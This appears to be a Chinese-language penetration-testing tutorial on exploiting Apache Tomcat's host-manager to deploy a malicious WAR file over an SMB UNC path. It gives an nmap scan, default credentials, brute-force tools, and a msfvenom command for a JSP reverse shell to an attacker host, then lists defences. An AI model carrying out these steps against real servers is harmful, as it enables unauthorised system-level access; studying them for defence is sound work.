Tomcat变体利用:host-manager
字数 1293 2025-08-26 22:11:14
Tomcat host-manager 漏洞利用教学文档
1. 漏洞概述
本教学文档详细介绍了如何利用Tomcat的host-manager功能进行渗透攻击,当传统的manager应用无法访问时,host-manager可能成为突破口。
1.1 漏洞背景
- 目标环境:Windows 2012R2服务器
- Tomcat版本:8.5.37(漏洞也存在于<=7.0.92和<=8.5.37版本)
- 默认权限:Tomcat在Windows上以"nt authority\system"权限运行
- 特殊场景:manager应用返回403,但host-manager可访问
2. 信息收集
2.1 端口扫描
使用nmap扫描目标主机,识别Tomcat服务:
nmap -sV -p 8080 192.168.56.31
2.2 默认凭据尝试
尝试常见默认凭据组合:
- admin/admin
- tomcat/tomcat
3. 认证绕过
3.1 爆破工具
当默认凭据无效时,可使用以下工具进行爆破:
- Metasploit模块:
use auxiliary/scanner/http/tomcat_mgr_login - Hydra
- Nikto
- 自定义脚本(注意Tomcat 7.0+有登录次数限制)
4. host-manager利用
4.1 漏洞原理
host-manager允许创建、删除和管理Tomcat中的虚拟主机。通过创建指向攻击者控制的SMB服务器的UNC路径,可以远程部署恶意WAR文件。
4.2 攻击步骤
4.2.1 准备SMB服务器
使用impacket工具包中的smbserver.py搭建SMB共享:
smbserver.py share /path/to/malicious/folder
4.2.2 创建恶意WAR文件
方法一:手动创建
- 创建一个包含JSP后门的ZIP文件
- 将后缀改为.war
方法二:使用msfvenom自动生成
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
4.2.3 部署恶意应用
- 通过host-manager界面创建指向SMB共享的虚拟主机
- Tomcat会自动从UNC路径部署应用(autoDeploy功能)
4.2.4 访问后门
- 在/etc/hosts中添加目标服务器IP与虚拟主机名的映射
- 通过浏览器访问部署的JSP后门执行系统命令
5. 攻击验证
5.1 部署前检查
查看Tomcat应用列表确认初始状态
5.2 部署过程监控
观察SMB服务器日志,确认Tomcat连接并下载WAR文件
5.3 后门验证
通过浏览器访问后门URL,执行系统命令验证权限
6. 防御措施
6.1 安全配置
- 修改默认凭据
- 限制host-manager和manager的访问IP
- 禁用autoDeploy功能
6.2 权限控制
- 不以system权限运行Tomcat
- 使用专用账户并限制权限
6.3 网络防护
- 阻止服务器出站SMB连接
- 监控异常文件部署行为
7. 受影响版本
- Tomcat <= 7.0.92
- Tomcat <= 8.5.37
8. 参考链接
- 原文链接:https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/
- Tomcat文档:http://tomcat.apache.org/tomcat-7.0-doc/host-manager-howto.html